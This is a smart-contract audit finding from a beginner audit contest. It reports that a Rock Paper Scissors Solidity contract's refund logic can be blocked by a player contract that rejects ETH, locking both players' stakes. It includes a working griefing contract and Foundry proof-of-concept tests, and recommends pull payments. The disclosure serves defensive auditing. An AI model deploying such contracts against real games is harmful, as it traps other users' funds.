Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Denial of Service (DoS) via Unpayable Player in Refund Logic

Summary

The RockPaperScissors.sol contract facilitates ETH-based games where funds are held in escrow and returned to players upon game completion (win, tie, or cancellation). The refund logic within the internal functions _handleTie and _cancelGame attempts to transfer ETH back to both players involved. However, these functions employ strict checks (require(successA && successB) or sequential require(successB)) that mandate the success of ETH transfers to all relevant parties within the same transaction. If one player (Player B) joins using a smart contract specifically designed to reject incoming Ether (lacking a payable receive/fallback or explicitly reverting), the ETH transfer to that player will fail. This failure causes the entire refund transaction to revert, consequently preventing the honest player (Player A) from receiving their refund as well. This creates a Denial of Service vulnerability, allowing a malicious actor to permanently lock both players' funds within the game contract.

Vulnerability Details

  1. Refund Mechanism: The internal functions _handleTie (for tied games) and _cancelGame (for various cancellation scenarios) are responsible for returning staked ETH to players.

  2. ETH Transfer Method: Both functions use the low-level .call{value: amount}("") method to send ETH refunds to game.playerA and, if applicable, game.playerB. This method returns a boolean success flag indicating the outcome of the transfer attempt.

  3. Strict Success Requirement:

    • In _handleTie: After attempting transfers to both players, the code executes require(successA && successB, "Transfer failed");. This requires both transfers to have succeeded.

    • In _cancelGame: After attempting and requiring success for Player A's transfer, it attempts Player B's transfer (if playerB != address(0)) and then executes require(successB, "Transfer to player B failed");. This requires Player B's transfer to succeed if attempted.

  4. Attack Vector: A malicious user can deploy a simple smart contract (RejectEthPlayer in the PoC) that lacks a payable receive() or payable fallback() function, or explicitly reverts on receiving ETH. This contract is then used to join a game as Player B.

  5. Failure Point: When _handleTie or _cancelGame is triggered, the .call{value: ...} attempting to send ETH to the RejectEthPlayer contract address will fail, returning successB = false.

  6. Transaction Revert: Due to the strict require(successA && successB, ...) or require(successB, ...) checks, the false value for successB causes the entire transaction to revert.

Proof Of Concept

The provided contract and test cases below demonstrate the vulnerability:

// Contract designed to reject direct ETH transfers
contract RejectEthPlayer {
RockPaperScissors gameContract;
address owner; // Just for potential future use, not strictly needed for DoS
constructor(address _gameAddress) {
gameContract = RockPaperScissors(payable(_gameAddress));
owner = msg.sender;
}
// Function for Player A to call to make this contract join a game
function joinGame(uint256 _gameId, uint256 _bet) external payable {
require(msg.value == _bet, "Incorrect bet sent to RejectEthPlayer");
gameContract.joinGameWithEth{value: _bet}(_gameId);
}
// Function to commit a move
function commit(uint256 _gameId, bytes32 _commitHash) external {
gameContract.commitMove(_gameId, _commitHash);
}
// Function to reveal a move
function reveal(uint256 _gameId, uint8 _move, bytes32 _salt) external {
gameContract.revealMove(_gameId, _move, _salt);
}
// Helper to generate salt (can be called off-chain or by test)
function getSalt(uint256 _gameId, uint8 _move) public view returns (bytes32) {
return keccak256(abi.encodePacked("reject-salt", _gameId, _move, address(this)));
}
// Helper to generate commit hash
function getCommitHash(uint256 _gameId, uint8 _move) public view returns (bytes32) {
bytes32 salt = getSalt(_gameId, _move);
return keccak256(abi.encodePacked(_move, salt));
}
// NO receive() or fallback() payable - this makes it reject ETH
}
// ==================== DOS VIA UNPAYABLE PLAYER TESTS ====================
/**
* @notice Tests DoS vulnerability in _handleTie when Player B cannot receive ETH.
* The require(successA && successB) check fails, reverting the whole transaction.
*/
function testDOSviaHandleTieUnpayablePlayer() public {
// --- Setup ---
// Deploy the malicious player contract
RejectEthPlayer rejectPlayerB = new RejectEthPlayer(address(game));
vm.deal(address(rejectPlayerB), 5 ether); // Fund the contract
// Player A creates a 1-turn ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(1, TIMEOUT); // 1 Turn game
// Have RejectEthPlayer join as Player B
// Note: Sending value TO rejectPlayerB contract first, which then forwards to game
rejectPlayerB.joinGame{value: BET_AMOUNT}(gameId, BET_AMOUNT);
// Verify contract holds both bets
assertEq(address(game).balance, BET_AMOUNT * 2);
// --- Action: Play a turn resulting in a tie ---
// Player A commits Rock
bytes32 saltA = keccak256(abi.encodePacked("saltA", gameId));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// Player B (RejectEthPlayer) commits Rock
bytes32 commitB = rejectPlayerB.getCommitHash(gameId, uint8(RockPaperScissors.Move.Rock));
rejectPlayerB.commit(gameId, commitB);
// Player A reveals Rock
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
// Player B (RejectEthPlayer) reveals Rock - THIS CALL WILL REVERT
bytes32 saltB = rejectPlayerB.getSalt(gameId, uint8(RockPaperScissors.Move.Rock));
// --- Assertion ---
// Expect revert because _handleTie will fail sending ETH to rejectPlayerB
vm.expectRevert("Transfer failed");
rejectPlayerB.reveal(gameId, uint8(RockPaperScissors.Move.Rock), saltB);
// --- Post-Revert Checks ---
// Verify funds are still locked in the contract
assertEq(address(game).balance, BET_AMOUNT * 2, "Funds should still be locked");
// Verify game state is still Committed (as revealMove reverted)
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Committed), "State should be Committed");
}
/**
* @notice Tests DoS vulnerability in _cancelGame (via timeoutReveal) when Player B cannot receive ETH.
* The require(successB) check fails, reverting the whole transaction.
*/
function testDOSviaCancelGameUnpayablePlayer() public {
// --- Setup ---
// Deploy the malicious player contract
RejectEthPlayer rejectPlayerB = new RejectEthPlayer(address(game));
vm.deal(address(rejectPlayerB), 5 ether); // Fund the contract
// Player A creates an ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// Have RejectEthPlayer join as Player B
rejectPlayerB.joinGame{value: BET_AMOUNT}(gameId, BET_AMOUNT);
// Verify contract holds both bets
assertEq(address(game).balance, BET_AMOUNT * 2);
// --- Action: Commit but don't reveal, then timeout ---
// Player A commits
bytes32 saltA = keccak256(abi.encodePacked("saltA", gameId));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// Player B (RejectEthPlayer) commits
bytes32 commitB = rejectPlayerB.getCommitHash(gameId, uint8(RockPaperScissors.Move.Paper));
rejectPlayerB.commit(gameId, commitB);
// Warp time past the reveal deadline
vm.warp(block.timestamp + TIMEOUT + 1);
// Player A attempts to trigger timeoutReveal (which calls _cancelGame as neither revealed)
// THIS CALL WILL REVERT
uint256 playerABalanceBefore = playerA.balance;
// --- Assertion ---
// Expect revert because _cancelGame will fail sending ETH to rejectPlayerB
vm.expectRevert("Transfer to player B failed"); // Specific error from _cancelGame
vm.prank(playerA);
game.timeoutReveal(gameId);
// --- Post-Revert Checks ---
// Verify funds are still locked in the contract
assertEq(address(game).balance, BET_AMOUNT * 2, "Funds should still be locked");
// Verify Player A did not get their refund
assertEq(playerA.balance, playerABalanceBefore, "Player A balance should not change");
// Verify game state is still Committed (as timeoutReveal reverted)
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Committed), "State should be Committed");
}

Impact

  • Denial of Service (DoS): Honest users (Player A) are denied their rightful refunds when playing against a malicious contract designed to reject ETH.

  • Permanent Fund Locking: Both Player A's and the malicious Player B's staked ETH become permanently locked within the RockPaperScissors contract, as the functions responsible for returning funds are blocked from successful execution.

  • Griefing: Malicious actors can intentionally deploy and use such contracts to trap opponents' funds, rendering the game unusable for ETH refunds in tie/cancel scenarios.

  • User Trust Erosion: This vulnerability breaks the core expectation that staked funds will be returned under tie or cancellation conditions, severely damaging user trust.

Tools Used

  • Manual Code Review

  • Foundry/Forge (for Test Execution and PoC verification)

Recommendations

The primary recommendation is to refactor the refund logic to avoid relying on the success of push payments (.call) within a single atomic transaction that affects multiple parties. The Pull Payment Pattern is the standard mitigation for this type of vulnerability.

  1. Implement Pull Payments (Recommended):

    • Modify _handleTie and _cancelGame: Instead of attempting direct ETH transfers, update internal mappings to record the amount owed to each player (e.g., mapping(address => uint256) public refunds;).

    • Add a new external function like withdrawRefund().

    • Inside withdrawRefund(), a player (msg.sender) can call this function. It checks the refunds mapping for an amount owed to the caller, transfers the ETH using .call{value: amount}(""), requires success, and then sets the refund amount for that player back to zero in the mapping to prevent re-withdrawal.

    • Benefit: This isolates transfer failures. If Player B (the malicious contract) fails to withdraw or cannot receive ETH, it does not prevent Player A from successfully calling withdrawRefund() to claim their funds.

  2. Remove Strict Cross-Party Success Checks (Less Ideal):

    • Alternative (Not Recommended): Remove the require(successA && successB) check from _handleTie and potentially the require(successB) from _cancelGame.

    • Drawback: While this would prevent the transaction from reverting due to Player B's failure and allow Player A's transfer to potentially succeed within that transaction, it doesn't solve the underlying problem that Player B's funds might still be locked if they genuinely cannot receive ETH. It also hides information about transfer failures. The pull payment pattern is significantly more robust and preferred.

Implementing the pull payment pattern will effectively mitigate this Denial of Service vulnerability and prevent the permanent locking of funds due to unpayable recipients.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.